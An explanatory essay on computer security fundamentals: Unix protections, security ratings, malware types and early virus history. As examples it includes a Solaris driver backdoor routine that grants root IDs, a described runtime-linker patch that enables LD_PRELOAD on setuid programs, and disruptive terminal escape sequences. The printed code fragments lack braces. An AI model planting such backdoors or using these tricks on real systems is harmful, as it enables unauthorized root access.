A Taste of Computer Security

A Taste of Computer Security
There are miscreants everywhere — in all domains — from vandals in a representative parking
lot to high-profile terrorists on the international scene.
Today, computers are used in all walks of life: they are in your homes, and in various critical
domains such as defense, education, finance, government, health care, and so on. This
reliance of the world's infrastructure on computer systems, and the consequent pervasiveness
of the latter, makes their "security" an issue of great importance.
The security of computer systems is a unique aspect of computing in that it enjoys remarkable
attention from all quarters: at least everybody who uses computers cares about security. If you
research or design systems, you care about creating mechanisms for providing security. If you
are a marketeer or a salesman selling a system, you would need as many security-related
bullet-points as you can gather (preferably backed by real technology). If you are an operating
system holy warrior, you might find demonstrable security flaws in "other" systems to be
excellent warfare tools. Popular media likes the negative, and they have been especially fond of
computer security (its downfall, usually), a topic that has been romanticized consistently.
Agenda
Given the nature and scope of the field, it would require one or more books to even briefly
touch upon all that is known about computer security. This document's goal is only to give you
a taste of (a subset of) the subject. The various sections are not uniform in their depth or
breadth, and the document's overall structure is not pedagogical. I could have titled it Thinking
Aloud On Computer Security, if not for the somewhat pompous undertone.
Popular Notions About Security

If I were to list the most common responses I have elicited from random computer users
regarding their understanding of (or beliefs on) computer security, and categorize them into
two bins labeled "Security" and "Lack of Security", it would look like the following:
Security
Protection against a grab-bag of "exploits" (thus, countable and finite)

Linux, *BSD, and particularly OpenBSD
In general, UNIX, UNIX-derived, and UNIX-like systems
Mac OS X (with its "Unix underpinnings"; "because it's essentially FreeBSD", "because it's
based on a microkernel")
Open source
From here onwards, we use the term "Unix" in a collective sense to refer to UNIX, UNIX-
derived, and UNIX-like systems.
Lack of Security
A grab-bag of "exploits" (thus, countable and finite)

Microsoft Windows
In general, everything from Microsoft
Mac OS X (with its "eye-candy" and historical lack of emphasis on security)
Closed source
Embellishments and Prevarications
The composition of the above could be considered as the popular, intuitive, and informal
definition of security (and its antithesis).
Unfortunately, from a purely technical standpoint, many widespread and deep-rooted notions
about security are often misconceptions — opinions (to be fair, this sentence is an opinion too).
For example, quantifications of the security-worthiness of various systems (in particular, Unix-
based vs. Microsoft's NT-based systems) are not as blindingly different as they are regarded to
be. The statistics one sees regularly (for example, the number of vulnerabilities reported in a
given system in a given time period) represent only one face of the infinite polyhedron that
computer security is.
It is important, even if academically, to understand this "clarification". Often, many a battle is

fought (over security, and everything else) between OS rioters, where the systems involved
might be vastly different personality-wise, politically, fiscally, etc., but are essentially similar —
meta-technically.
We will briefly look at the security landscapes of Windows and Unix in the final section.
By the way, I opine that fires of OS-zealotry are pointless and uninteresting, and it is not my
goal to fan them.
That said, perhaps no amount of objective explanation could stand against opinion, whether it
be informed or uninformed opinion.
In fact, "informed opinion" might be an oxymoron. I believe that knowledge tends to dissolve,
or at least weaken erstwhile strong opinions. After all, why would you need opinion in the face
of positive knowledge? However, this is just an opinion.
Security and "Hacking"

While the term "hacker" is frequently used ambiguously, it was meant to have a respectable
connotation. A definition derived from the Jargon file can be found here. There has been
emphasis on qualifying digital criminals as "crackers", "black-hat" hackers, or "dark-side"
hackers.
Nevertheless, we eschew political correctness for colloquiality, and use the word "hacker" to
mean a bad hacker.
The purported synonymity of security (largely its subversion, but even its defense) and
"hacking" has doggedly remained a painfully hackneyed theme over the years. So much so that
a person's computing talent, or his expertise with computer systems, are often equated to his
security-related skills. Often the ability to foil computer security is regarded as a heroic and
"cool" quality.
Ken Thompson, a creator of UNIX, aptly said in 1984 that:
"There is an explosive situation brewing. On the one hand, the press, television, and movies
make heroes of vandals by calling them whiz kids. On the other hand, the acts performed by
these kids will soon be punishable by years in prison."
Specifically, many think that a hacker must be an expert in computer security, and a computer
security expert must be a hacker. This is not always the case, unless you explicitly define the
two terms to be synonymous.
1337?
Another aspect of the clichéd portrayal of hackers is their supposed obsession with
hexadecimal (and lots of numbers). Many books on hacking actually have chapter and section
numbers in hexadecimal.
Defining Computer Security
There is no precise definition of "security" of computer systems. Although we all may have a
feel (intuition) for what it means to us, it is extremely hard to describe computer security
formally. It is a fuzzy, open-ended, all-encompassing concept — almost like a human aspect.
In fact, it might be argued that computer security is primarily a human issue. Our sense for
computer security is often similar to that for personal security, and surely, there are situations
in which a "threat" to computer security would be tantamount to a threat to human life.
Trust
An often-used word in the context of computer security is "trust", which too is a human quality
— you cannot trust (or mistrust, for that matter) a computer! In a way, when you are trusting
a system, you really are trusting those who designed it, those who implemented it, those who
configured it, those who maintain it, and so on. Trust is a complicated concept. Note that in
mathematical terms, trust is neither a symmetric nor a transitive relation.
In Trust or Bust: Communicating Trustworthiness in Web Design, Jakob Nielsen says that trust
is "hard to build and easy to lose: a single violation of trust can destroy years of slowly
accumulated credibility."
Trust in a system could be defined as the level of confidence in its integrity. This connotation is
part of the philosophy behind Trusted Computing, a concept that has emerged in recent years
as an evolutionary approach to providing computing platforms with stronger integrity. These
"trusted platforms" aim not to replace secure platforms, but to make their security stronger
and simpler.
Nevertheless, just like it is hard to provide computer security with reasonable guarantees, it is
hard to have a system that can be trusted with a high level of confidence under all
circumstances.
Terminology
We looked at a seat-of-the-pants definition of computer security in Popular Notions About
Security. Although I would not hazard a strict or formal definition, let us refine our existing
understanding.
Most general purpose operating systems are shared systems. This sharing (of resources) may
happen between multiple users on one system, and between multiple networked computers.
Even if a system has only one user, there are multiple entities within the system (such as
various applications) that share resources.
A typical system has hardware and software resources, or objects: processors, memory,
storage, network bandwidth, and so on. Subjects (users, or entities executing on behalf of
users, such as processes and threads — depending on the granularity at which subjects are
defined) access and use these objects usually through well-defined interfaces. Thus, generically
speaking, "Subjects (processes) perform operations on objects (resources)." Now, processes
must not perform operations that they are not "supposed to". They must be protected from
each other, and the overall system must be protected from processes. Protection in operating
systems is the foundation for both security and reliability. Protection mechanisms ("how") allow
for enforcement of policies ("what").
Security
We could therefore understand computer security as a condition wherein all resources are
always used as intended. Again, "as intended" is subjective, and it would be impossible to
exhaustively enumerate all your intentions. Surely, there could be a situation that neither the
designers of the system, nor its users, have thought of yet.
In slightly more concrete terms, security is something that allows a system and its users to:
Verify identities of entities such as users and system services.

Safeguard sensitive information (such as arbitrary personal data, cryptographic keys,
passwords, etc.) during storage, transmission, and use.
Insecurity
A definition of security could be reinforced by describing the absence of security, which we

shall informally call "insecurity". A computer system's resources (including external, shared
resources such as the network) are all vulnerable to attacks: from outside, and in many cases,
especially from within. We could understand a vulnerability as potential for unintended use — a
result of a software bug, a design oversight or error, a misconfiguration, and so on. A
vulnerability when exploited via an attack could lead to tangible or intangible damage.
Common types of potential damage includes:
Leaking (reading, say) of sensitive data

Modification of sensitive data
Destruction of sensitive data
Unauthorized use of a system service
Denial of a system service (so that its legitimate users are not able to use it)
Disruption or degradation of any system operation in general
Note that a system's resources could be misused without denying service to legitimate users,
or without causing any apparent damage on the system itself. For example, if a system's
resources are all lying idle, and it is misused only as a stepping stone to infiltrate another
system, both systems suffer damage, albeit of varying tangibility.
Finally, damage could also be incidental, without a proactive attack. Such damage that
happens "by itself" during legitimate use could be a result of human error, hardware or
software bugs encountered, power failure, hardware failure, and even natural disasters such as
earthquakes, floods, hurricanes, rain, snow, storms, tornadoes, etc.
With rapidly increasing deployments of security-related software, it becomes important for

security companies and their customers to quantify the effectiveness of such software (to
choose what software to use, to calculate return over investment, to advertise, etc.) In this
context, a rule-of-thumb definition of security is often cited: a system is considered secure if
its "secure-time" is greater than its "insecure-time." Secure time is simply the time during
which a system is protected, that is, free of "incidents". Insecure time is the sum of the time it
takes to detect an incident and the time it takes to react to the incident (summed over all
incidents in a given interval):
A system is secure in a given time interval t if
Tsecure(t) > Sum{Tdetect, i + Treact, i}

for all incidents i happening in the same interval t
Note that if there is some incident which is not detected, then the system is trivially insecure.
Quantifying Security
Even with all the subjectivity surrounding security, it is useful and often required to officially
rate a system (or a system component) security-wise. Such ratings are assigned using
standardized evaluation criteria.
The Orange Book
The U.S. Department of Defense Trusted Computer System Evaluation Criteria (TCSEC)
classifies systems into four broad hierarchical divisions of enhanced security protection: D, C,
B, and A, with systems in the (A) division providing the most comprehensive security. These
security ratings, popularly known as the Orange Book, are as follows (note that these apply to
specific components as well as entire operating systems):
• D (Minimal Protection)
• C (Discretionary Protection)
o C1: Discretionary Security Protection (products are no longer evaluated at this

rating class)
o C2: Controlled Access Protection (versions of OpenVMS, versions of AS/400 and
RS/6000, versions of Windows NT)
• B (Mandatory Protection)
o B1: Labeled Security Protection (for example, certain versions of each of DEC
SEVMS, DEC ULTRIX, HP-UX, IRIX; Trusted Oracle 7)
o B2: Structured Protection (for example, Trusted XENIX 4.0)
o B3: Security Domains (for example, the XTS-200 system from Wang Federal, Inc.)
• A (Verified Protection)
o A1: Verified Design (examples include the Boeing MLS LAN and the Gemini Trusted
Network Processor, both of which are network components)
o Beyond Class (A1)
For more details, refer to Department Of Defense Trusted Computer System Evaluation
Criteria.
Common Criteria for IT Security Evaluation
In June 1993, U.S., Canadian, and European organizations behind various security criteria
started the Common Criteria (CC) project to evolve into a single, internationally accepted set of
IT security criteria. Refer to the official web site of the CC project for details. The CC rating
scheme consists of the following evaluation assurance levels, or EALs (approximate Orange
Book equivalents are in parentheses)
• EAL 0: Inadequate Assurance (D)

• EAL 1: Functionally Tested
• EAL 2: Structurally Tested (C1)
• EAL 3: Methodically Tested and Checked (C2)
• EAL 4: Methodically Designed, Tested, and Reviewed (B1)
• EAL 5: Semiformally Designed and Tested (B2)
• EAL 6: Semiformally Verified Design and Tested (B3)
• EAL 7: Formally Verified Design and Tested (A1)
Regarding backwards compatibility, the CC objective states that: "The CC EALs have been
developed with the goal of preserving the concepts of assurance source criteria so that results
of previous evaluations remain relevant. [Using the approximate equivalents] general
equivalency statements are possible, but should be made with caution as the levels do not
drive assurance in the same manner, and exact mappings do not exist."
Examples of some CC ratings are as follows:
Apple: No evaluations
Linux: EAL 2, for Red Hat Enterprise Linux 3, February 2004
Linux: EAL 3+, for SuSE Linux Enterprise Server V8, Service Pack 3, RC4, January 2004
Solaris: EAL 4, for Solaris 8, April 2003
Solaris: EAL 4, for Trusted Solaris 8, March 2004
Windows: EAL 4+, for Windows 2000 Professional, Server, and Advanced Server with SP3
and Q326886, October 2002
A '+' indicates that the system meets some, but not all, requirements of a higher rating.
Traditional Unix Security

Perhaps the most important achievement of UNIX is to demonstrate that a powerful operating
system for interactive use need not be expensive either in equipment or in human effort: UNIX
can run on hardware costing as little as $40,000, and less than two man-years were spent on
the main system software.
The UNIX Time-Sharing System (1974)

Dennis M. Ritchie and Ken Thompson
UNIX was born in 1969. Although computer security is an age-old subject, the UNIX system
itself was not created with security in mind. In a 1979 document titled On the Security of
UNIX, Dennis Ritchie said:
"The first fact to face is that UNIX was not developed with security, in any realistic sense, in
mind; this fact alone guarantees a vast number of holes."
Now, although the creators of UNIX did not expect it to become so successful, it did, and
security became progressively important. Numerous mechanisms for providing security have
been incorporated into Unix over the years, through component redesign, and often through
retrofitting.
The earliest versions of UNIX had the concept of the super-user, and supported file
permissions. Soon the set user ID (set-UID) mechanism was added. These, followed by groups,
set group ID (set-GID), and the chroot mechanism have historically been the cornerstones of
Unix security.
root
Each UNIX user is assigned a unique user identification number, or user ID. The system
recognizes a particular user ID, that of the super-user, to have no access control restrictions.
Conventionally, the user name of the super-user is root, and the ID is 0. Note that any user
with an ID of 0 would be the super-user. On a typical Unix system, root can do "everything" —
an all-or-nothing approach. Consequently traditional Unix security largely boils down to
securing the root account.
An early UNIX manual page (circa 1971) for su reads like the following:
NAME su -- become privileged user
SYNOPSIS su password
DESCRIPTION su allows one to become the super-user, who has
all sorts of marvelous powers. In order for su
to do its magic, the user must pass as an argu-
ment a password. If the password is correct, su
will execute the shell with the UID set to that
of the super-user. To restore normal UID
privileges, type an end-of-file to the super-user
shell.
Access Control
The first edition (1971) only had the following file modes (octal) in the i-node:
01 write for non-owner

02 read for non-owner
04 write for owner
10 read for owner
20 executable
40 set-UID
Additionally, traditional Unix systems have provided discretionary access control: it is at the
discretion of the owner of an object to designate who all can access it. For example, Unix file
permission bits allow a file owner to specify who all have what type of access to a file. This
notion of "who all" is coarse-grained, consisting of the file owner, users in the same group as
the file owner, and everybody else. Access types include read, write, and execute. As we shall
see in a later section, newer systems, including several Unix systems, provide flexible and
more powerful access control mechanisms.
Early UNIX versions did not have the concept of groups. Moreover, there was only one
executable bit, for both the owner and non-owners. Access control was refined over time to be
more flexible and powerful.
Another bit added later was the sticky bit. It served as an optimization flag for executable files
(now obsolete), and plays a role in directory permissions. If the sticky bit is set on a writable
directory, a non-root user cannot delete or rename a file belonging to another user (unless the
file resides in a directory owned by the user trying to delete it). A typical use of the sticky bit is
in shared writable directories, such as /tmp:
% ls -lsdL /tmp
0 drwxrwxrwt 21 root wheel 714 26 Jan 00:00 /tmp
Set-UID
Dennis Ritchie filed for a patent on the set-UID mechanism (Protection of Data File Contents)
on July 9, 1973. The patent was granted on January 16, 1979 (U.S. Patent 4,135,240). The
abstract of the patent is reproduced below:
"An improved arrangement for controlling access to data files by computer users. Access
permission bits are used in the prior art to separately indicate permissions for the file owner
and nonowners to read, write and execute the file contents. An additional access control bit is
added to each executable file. When this bit is set to one, the identification of the current user
is changed to that of the owner of the executable file. The program in the executable file then
has access to all data files owned by the same owner. This change is temporary, the proper
identification being restored when the program is terminated."
Interestingly, Ritchie's set-UID patent application was initially rejected, as the patent examiner
considered the disclosure lacking in details. In the examiner's opinion, an ordinary programmer
could not implement the mechanism by reading Ritchie's description. Ritchie took care of this
issue by writing a small toy operating system with the UNIX file protection mechanism (without
the set-UID portion), and gave it to a programmer in the local computer center, who
implemented set-UID based on Ritchie's description, and signed an affidavit to that effect.
The fundamental problem solved by set-UID is that it allows a program running on behalf of
one user operate as if it were running as another user. Consider an example. Suppose there is
a sensitive file on a multi-user system that contains information about each user
(/etc/passwd, say), and it is desirable to allow each user to edit his own information in the
file (the password, or the so-called GECOS field, say). The typical Unix solution is to have the
password setting utility (passwd) be set-UID root. The passwd program is runnable by
anybody, but it runs as root, and therefore is able to edit the password file. Since the program
exposes very specific and limited legitimate functionality, things are fine as long as it is not
possible to make the program do something unintended.
Early examples of set-UID use included a game-playing program that maintained records of
players' scores (and thus required write-access to the scores file on behalf of a player).
The set-UID (and set-GID) mechanism went on to become an integral part of Unix, but also
has been a primary vehicle for attacks against security, largely due to its all-or-nothing nature.
Today, a Unix process might have a number of user-id's (uid's), and correspondingly, a number
of group-id's (gid's):
real uid (the process owner's uid)

effective uid (most access control decisions are based on this uid, which is usually the same
as real uid, but may change)
saved uid (the "previous" uid in a uid-change)
filesystem uid (Linux uses this uid for filesystem access control decisions; usually the same
as effective uid)
Others
The chroot mechanism changes the root directory of the calling process to a new directory.
Thus, the starting point for path searches of pathnames beginning with '/' is altered. Only the
super-user may use this mechanism.
Most Unix systems allow filesystems to be mounted with limited file permissions, or otherwise
restricted semantics. For example, a filesystem may be mounted read-only, with device files
disallowed, with no executability (so that users cannot execute programs residing in the
filesystem), remapped user and group IDs, etc.
Today's mainstream Unix systems include numerous more powerful mechanisms than the
common-denominator variety listed here. We look at some in the next sections.
Note that having the mechanisms is one thing, but using them effectively is another. Expert
system administration is still one of the most important ingredients of good system security.
Security Uprooting Vehicles

Misbehaving programs, including those that seem to have a life of their own, have long been
part of computing. Any system is only as secure as its weakest point, and every system built so
far has had several.
Digital Life
Some pioneers of computing were working on creating "digital life" long before computer
viruses and worms existed: either in the minds of science fiction writers or in "real" life. John
von Neumann conceived cellular automata — dynamical systems with discrete space, time, and
state — in the late 1940s. Neumann believed that logic was the eventual basis of life, and
therefore it must be possible to support life through a construct that supports logic. A very
popular cellular automaton is Life (often called the Game of Life). Invented in 1970 by John H.
Conway, Life is a Universal cellular automaton — it can effectively emulate any cellular
automaton.
Although Neumann used discrete models for self-reproduction, he intended to develop a

continuous model later.
Let us briefly consider general (not strict) definitions of some common types of digital life. In
the next sections, we will look at worms and viruses in greater detail.
Viruses
Viruses have become an accepted, although highly disruptive and expensive to deal with, part
of mainstream computing. It is common to see corporate computers deployed with virus
hotline stickers.
Viruses are pieces of software that can attach themselves to executable files, disk boot sectors,
documents (whose loading is likely to cause embedded code execution at some point), and
may even additionally hide elsewhere in the operating system, including the kernel. These
"infected" entities become carriers of a virus's malicious code, and thereby allow it to self-
replicate.
Another way to look at this is that viruses can exist for any runtime environment, such as the
one providing a platform's primary application binary interface (ABI), macro languages, other
interpreters, and so on.
Worms
A worm also self-replicates like a virus, but usually over a network. Worms infiltrate computers
usually by exploiting holes in the security of networked systems.
By their nature, worms usually attack programs that are already running. The attack might
result in creation of new processes, after which a worm can run independently, and self-
propagate. Unlike a virus, a worm may not change existing programs, but like a virus, a worm
may have some "payload" code, which in turn may modify existing programs or system
configuration.
Bacteria
A not-so-distinct category of digital creatures that is mentioned in literature, albeit rarely, is

bacteria. These are programs that replicate themselves and feed off the host system by
preempting system resources such as processor time and memory.
Trojan Horses
Like the Greek Trojan horse, these programs have a hidden, negative, subversive, and thus
potentially harmful aspect. Trojan horses are programs that masquerade as useful programs,
but contain malicious code to attack the system or leak information. An unsuspecting user
would typically run a Trojan horse willingly, to use its supposed (advertised) features.
A Trojan horse is sometimes called a Trojan mule. However, doing so taints the allusion.
Ken Thompson talked about a compiler Trojan horse in his Turing Award Lecture (Reflections
On Trusting Trust) in 1983. Consider the following quote from the lecture:
"The actual bug I planted in the compiler would match code in the UNIX "login" command. The
replacement code would miscompile the login command so that it would accept either the
intended encrypted password or a particular known password. Thus if this code were installed
in binary and the binary were used to compile the login command, I could log into that system
as any user.
Thompson also suggested the additional step of removing this "bug" from the source of the C
compiler, by adding a second Trojan horse aimed at the C compiler itself.
It is important to realize that the categories listed above, and the ones that follow, often
overlap — sometimes even greatly so. In any case, although such categorization is helpful in
explanation, or might be entertaining otherwise, but is not extremely useful in itself.
Some Other Manifestations and Causes of Insecurity

Some other classifications of malicious programs and mechanisms are listed below:
Logic Bombs
A logic bomb is a program that does something, usually malicious (it "explodes"), when some
logical condition is satisfied. If the condition is time-related, such programs could also be
termed time bombs. Consider some examples of logic bombs:
Introduction of a deliberate error in a program, say, by a disgruntled employee, that will

result in disaster in the future — usually after the employee is gone.
A program that deletes your files on every full-moon night.
A disgruntled administrator changes (administrator) passwords for certain systems, and
leaves the company.
Backdoors
A backdoor opens a system for access by an external entity: by overthrowing, or bypassing,

the local security policies. The goal of a backdoor usually is to allow remote access and control
(over a network), although it may also work "locally". Backdoors are sometimes referred to as
trapdoors.
Backdoors may exist for various reasons:
Explicitly programmed by the creators of the system, perhaps even as an undocumented

feature — a debugging aid, perhaps.
A result of a flaw in the design or implementation of a program.
Planted by an attacker once he has infiltrated a system, to facilitate easy entry in future.
Consider some specific, somewhat contrived, examples of backdoors:
A network server, such as the web server or the mail server, could be modified to provide a
shell (interactive or otherwise), when a request with a specific signature is received.
A device driver could be modified, a new one installed, or an existing one replaced (for an
unused device, say), that does something like the following example. Thereafter, simply
cat'ing the device would result in the calling process having its various user and group ID's set
to 0.
/* Solaris */
static int
foo_open(dev_t *dev, int openflags, int otyp, cred_t *foo)
int retval = 0;
/* use ddi_get_soft_state or something */
foo->cr_uid = 0;
foo->cr_gid = 0;
foo->cr_ruid = 0;
foo->cr_rgid = 0;
foo->cr_suid = 0;
foo->cr_sgid = 0;
return retval;
The LD_PRELOAD feature is not honored for setuid programs. If it were, any user could run
a setuid program (like passwd), say, with a preloaded shared library that re-implements
open() to exec() a shell. On Solaris, using dis to disassemble the runtime linker (ld.so.1)
reveals the location of the code that checks for a setuid file (using the S_ISXXX family of
masks, S_ISUID in particular). Changing a couple of bytes in-place allows LD_PRELOAD to be
usable for all binaries — setuid or not. Thus, the runtime linker now has a backdoor. Note that
modifying the runtime linker on a running system might be tricky though.
Gaining enough privileges (if required) on a system to be able to implant a backdoor is an
orthogonal issue.
Spyware
Spyware is apparently useful software that transmits private user data to an external entity,
without the user's consent or even knowledge. The external entity stands to gain from the
information thus harvested. A common example is that it helps the external entity send
targeted advertising to the user.
Spyware constitutes malware because it makes unauthorized use of a system's resources and
leaks information (that is, violates privacy). In certain cases, spyware may enter a system not
through an apparently useful program, but as payload of another malicious program, such as a
worm or a virus.
Covert Channel
Sometimes, an information channel might be used to transfer certain information, possibly

malicious, in a way that was not intended by the system's designers. Such a covert channel
can be an effective mechanism to help in subversive activities.
As an example, consider this implementation of Towers of Hanoi. The solution uses the ICMP
echo/response mechanism (ping) to solve the puzzle. You ping the "Hanoi machine", and you
get response packets whose sequence numbers represent the disk moves needed to solve the
puzzle.
Race Conditions
Race-conditions are flaws, either in design or implementation, that involve an attacker

exploiting a window of time in a sequence of (privileged) non-atomic operations. The window of
time exists when a programs checks for a condition, and subsequently uses the result of the
check, with the two being non-atomic. Such flaws are also called Time Of Check To Time Of
Use (TOCTOU) flaws.
Consider an example. In some early versions of UNIX, mkdir was a setuid program owned by
root. Creation of a directory required a mknod system call to allocate storage for the new
directory, which would initially be owned by root. In the second step, the chown system call
changed the owner of the newly created directory from root to the appropriate user. Since this
sequence was not atomic, an attacker could remove the directory before the chown. Thus,
doing a rmdir before chown and creating a link to a sensitive file (the password file, for
example), would cause the linked file's ownership to be changed.
The following excerpt is from the source of the mkdir command in UNIX V7 (note the explicit
calls to link to create '.' and '..'):
mkdir(d)
char *d;
char pname[128], dname[128];
register i, slash = 0;
pname[0] = '\0';
for(i = 0; d[i]; ++i)
if(d[i] == '/')
slash = i + 1;
if(slash)
strncpy(pname, d, slash);
strcpy(pname+slash, ".");
if (access(pname, 02)) {
fprintf(stderr,"mkdir: cannot access %s\n", pname);
++Errors;
return;
if ((mknod(d, 040777, 0)) < 0) {
fprintf(stderr,"mkdir: cannot make directory %s\n", d);
++Errors;
return;
chown(d, getuid(), getgid());
strcpy(dname, d);
strcat(dname, "/.");
if((link(d, dname)) < 0) {
fprintf(stderr, "mkdir: cannot link %s\n", dname);
unlink(d);
++Errors;
return;
}
strcat(dname, ".");
if((link(pname, dname)) < 0) {
fprintf(stderr, "mkdir: cannot link %s\n",dname);
dname[strlen(dname)] = '\0';
unlink(dname);
unlink(d);
++Errors;
Address Space Attacks
The most widely attacked resource in stored program computing is memory. We will look at
some common address-space attacks in Defeating Memory.
Waste Searching
"Waste Searching" (or dumpster-diving), that is, looking for sensitive information in areas that
are traditionally unprotected, or weakly protected, is a popular and effective security-thwarting
approach. Attackers have been known to scavenge printer ribbons, tapes, disk drives, floppy
diskettes, garbage paper, and so on. A system's swap space is another potentially lucrative
area to look at for sensitive information. Some of these holes could be reasonably plugged
through operational (best-practices) means, such as administrative shredding/destruction.
Others, such as protecting the swap space, are harder, needing discipline and support from
various quarters (programs should proactively ensure that sensitive memory is not swapped
out, encrypted swap space could be used, etc.).
File Vault on Mac OS X
There was much hue and cry about File Vault (encrypted disk image) passwords being readable
in the swap files on Mac OS X. While you need super-user access to read a swap file, this was
considered a serious flaw by many who were counting on nobody, not even the super-user, to
be able to access their encrypted home directories. Such a requirement is legitimate, and
would be especially relevant if the computer were stolen.
However, the issue is not limited to securing an encrypted filesystem password. An

authenticated application that reads data from an encrypted filesystem could be swapped out,
and such data could appear as plaintext in the swap space. There is plenty of other sensitive
information that could be salvaged from a swap file, possibly including parts of files that you
"securely deleted." This could happen even after the system has shut down, and the swap files
have been deleted.
In the case of File Vault, some blamed the programmer for failing to ensure that such "critical
memory" was not swapped out. Surely you could not possibly prevent all content residing on
the encrypted filesystem from being swapped out. The problem could be better solved using an
implementation of encrypted swap space, or a robust password mechanism on the disk drive
itself.
Note that the problem described herein exists on most operating systems. You can find an
implementation of encrypted swap space on OpenBSD, but in general, it is a rarity.
Design Flaws, Oversights, and "This is just how things are"
Sometimes, a system or a protocol may have flaws that show up only later — much after it is
deployed. This could be because the designers "missed it", but it could also be because the
designers never expected their creation to be used enough, or used in a context where the flaw
would "matter". The TCP SYN flood, a widely-used denial of service attack, is due to a (design)
flaw in the TCP/IP protocol itself.
Depending upon how widespread the deployment is, and how disruptive the solution is, such
flaws may be extremely hard to address.
Another example is that of the sendmail program's -C option, which allowed a user to specify
the configuration file to be used. If the file had syntax errors (say, because the file was not
even a configuration file), sendmail displayed the offending lines. Thus, sendmail could be used
to view sensitive information. Another sendmail oversight, the DEBUG command, was one of the
vulnerabilities exploited by the Morris Worm which we shall encounter in a later section.
Finally, social engineering, a strategic methodology of convincing people to divulge sensitive

information, is perhaps the most potentially dangerous (and surprisingly easy to accomplish)
way to defeat security.
The Net Growth In Insecurity

The proliferation of networking has aided computer insecurity in many ways: by presenting
additional vulnerable resources (such as the network itself, and millions of computers) and by
connecting many more people together (more disinformation, more social engineering, more
electronic mail, more communication scenarios in general). Certainly, these are good things,
with some caveats and potential dangers. We could not be expected to simply not network, so
we have to "deal with it".
Some Growth!
Work began on the world's first packet switching network at the National Physics Laboratory in
the United Kingdom in the 1960s. This was soon followed by the ARPANET, and many others
thereafter. By the end of 1969, the ARPANET had 4 sites, with Interface Message Processors
(IMPs) installed at UCLA, SRI (Menlo Park), UCSB, and the University of Utah. The IMPs were
built around Honeywell 516 computers, and were linked using dedicated 55 Kbps phone lines.
Consider the growth of the Internet over the years, along with a sample quantification of the
growth in insecurity:
Growth of the Internet (and Insecurity)

Date Hosts Reported Incidents Reported Vulnerabilities
Dec 1969 4 - -
Sep 1971 18 - -
Dec 1973 31 - -
Oct 1974 49 - -
Jan 1976 63 - -
Mar 1977 111 - -
Aug 1981 213 - -
May 1982 235 - -
Aug 1983 562 - -
Oct 1984 1024 - -
Oct 1985 1,961 - -
Feb 1986 2308 - -
Dec 1987 28,174 - -
Oct 1988 56,000 6 -
Oct 1989 159,000 132 -
Oct 1990 313,000 252 -
Oct 1991 617,000 406 -
Oct 1992 1,136,000 773 -
Oct 1993 2,056,000 1,334 -
Oct 1994 3,864,000 2,340 -
Jul 1995 8,200,000 2,412 171
Jul 1996 16,729,000 2,573 345
Jul 1997 26,053,000 2,134 311
Jul 1998 36,739,000 3,734 262
Jul 1999 56,218,000 9,859 417
Jul 2000 93,047,785 21,756 1,090
Jul 2001 125,888,197 52,658 2,437
Jul 2002 162,128,493 82,094 4,129
Jan 2003 171,638,297 137,529 3,784
Data source for number of hosts: Internet Systems Consortium.

Data source for security numbers: CERT.
Security numbers are for the entire year, and only include those that were reported to CERT.
Computer networks play a role in essentially every attack today, and numerous attacks focus
on the networks themselves, rather than simply using them as a communication channel.
Networks could be attacked passively (somebody monitors, or "sniffs" a network and gleans
sensitive information, without modifying any data), or actively (somebody reroutes certain
messages, introduces additional messages, or modifies existing messages). Using one or more
of these approaches and techniques, existing network connections could be hijacked or
terminated; a third party could capture and replay transactions between two parties; a third
party could be the proverbial man-in-the-middle in between two parties, and pretend to be one
party to the other.
Developments in cryptography, if implemented and used properly, can and do offset many of
these risks.
Email
The ability to receive email is one of the greatest joys of computing. Most computer users I
know used to get depressed if they had not received any email within the last hour. I suspect
the scourge of spam might have changed that feeling.
This modern day's preferred mode of communication is an ideal vehicle for rogue code.
However, email "bombs" (pieces of code that can trigger harmful operations when an email is
"opened") go back quite far in history. In the olden days (when there were no Word document
attachments), a bomb sender could have embedded escape sequences for a terminal in the
mail text. Potentially harmful operations could be performed if the recipient viewed the text on
a terminal honoring the sequences. For example, if a terminal allowed escape sequences to
insert characters in its input buffer, an email could trigger execution of commands on the
receiver's machine.
Today's viewing devices are not free from escape sequences. The popular xterm on various
Unix systems, and Terminal.app on Mac OS X, both honor several potentially irritating (if not
critically harmful) escape sequences. A partial list of such sequences is given below. These may
not "work" (negatively) on all xterm implementations. You could "try" these by creating a file,
say, using vi, typing the sequence, saving the file, and then cat'ing it. Note that the ^[ is the
escape character, entered in vi by typing ctrl-v.
^[(0 garbles xterms that use the US ASCII character set
^[(B restores US ASCII character set
^[[?5h sets reverse video
sets sending of MIT mouse row/column on button press: will mess up text
^[[?9h
selection
^[]P10;colorspec^G sets foreground color to that specified by colorspec
^[]P11;colorspec^G sets background color to that specified by colorspec
^[P0;0 locks keyboard
Greener pastures for mail bombing appeared as mail programs provided versatile execution
environments in their attempts to be feature-rich, convenient, and user-friendly. It is a tough
wire to walk. While such features are meant to improve work-flow and are desirable, as
programs become complex, policies must be devised to specify resources that embedded
programs are allowed to access. Users are not very patient in general, and often they would
simply run whatever wants to run!
It is usually rather difficult to combine security and ease-of-use.
Viruses
Virus in Latin means poison, while in Sanskrit, the word for poison is visa.
Computer viruses today hold an extremely significant, even if negatively so, position in
computing.
Looking Back
1972
In his 1972 science-fiction novel When HARLIE was One, writer David Gerrold wrote about
computer viruses.
"Do you remember the VIRUS program?"
"Vaguely. Wasn't it some kind of computer disease or malfunction?"
"Disease is closer."
...
"You have a computer with an auto-dial phone link. You put the VIRUS program in it and it
starts dialing phone numbers at random until it connects to another computer with an auto-
dial. The VIRUS program then injects itself into the new computer.
...
"I'll just tell you that he also wrote a second program, only this one would cost you — it was
called VACCINE."
— David Gerrold
When HARLIE Was One (1972, Ballantine Books, New York)
The VIRUS program was actually supposed to erase itself from the first computer after
reprogramming a new one. Apparently, a mutation happened at some point — possibly due to
garbling during transmission, which in turn may have been caused by a faulty phone line or a
premature disconnection. The mutation caused copies of the VIRUS to start appearing without
the self-erase order at the end.
Gerrold further wrote that for every VACCINE program one could create, somebody else could
create another VIRUS program immune to it: "Any safeguard that can be set up by one
programmer can be breached or sidestepped by another."
Actual viruses sometimes pay tribute to various things in interesting ways. The following text
string alluding to Gerrold's novel appeared in the viral code in files infected by the "Aussie Dir"
virus (discovered in January, 1993): "Did David Gerrold have a harley when he was one?".
1982
Another early appearance of a computer virus was in a comic book. Issue #158 of "The
Uncanny X-Men" (June 1982, Marvel Comics) has mention of a "VIRUS program":
Kitty Pryde: NO PROBLEM. WE SIMPLY DESIGN AN OPEN-ENDED VIRUS PROGRAM TO ERASE
